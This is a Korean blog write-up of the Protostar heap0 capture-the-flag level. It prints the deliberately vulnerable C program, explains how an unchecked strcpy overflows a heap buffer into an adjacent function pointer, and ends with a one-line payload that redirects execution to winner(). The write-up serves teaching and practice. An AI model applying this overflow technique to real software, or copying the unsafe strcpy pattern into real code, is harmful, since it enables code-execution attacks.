protostar heap0

assb
|2020. 11. 6. 22:17

old.liveoverflow.com/binary_hacking/protostar/heap0.html

 

Heap 0 - LiveOverflow

Introducing the heap by looking at what malloc() does.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);
  
  f->fp();

}

 이 문제는 heap을 overflow 시켜야 한다. d와 f를 malloc으로 메모리 동적 할당을 하는데, 이럴 경우 해당 변수는 heap에 존재하게 된다. 

 코드를 살펴보면, f->fp는 nowinner 함수를 가리키고 있다. 또한 d->name에 argv[1]을 strcpy하는데, d->name을 overflow 시켜서 f->fp가 winner 함수를 가리키게 해야한다. 

 

 문제를 풀기에 앞서 winner 함수의 주소를 확인했다. 

 8048464

 

 코드를 확인해보면 d와 f의 주소를 출력한다. 프로그램을 실행해서 해당 변수들의 주소를 확인한다. 

 

 해당 변수들의 주소(0x804a008, 0x804a050) 사이에는 72만큼의 간격이 존재한다. 따라서 임의의 72바이트와 win 함수의 주소를 입력하면 문제가 풀린다. 

 

./heap0 `python -c 'print "\x90"*72+"\x64\x84\x04\x08"'`

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar heap2  (0) 2020.11.12
protostar heap1  (0) 2020.11.12
protostar format4  (0) 2020.11.05
protostar format3  (0) 2020.11.05
protostar format2  (0) 2020.11.05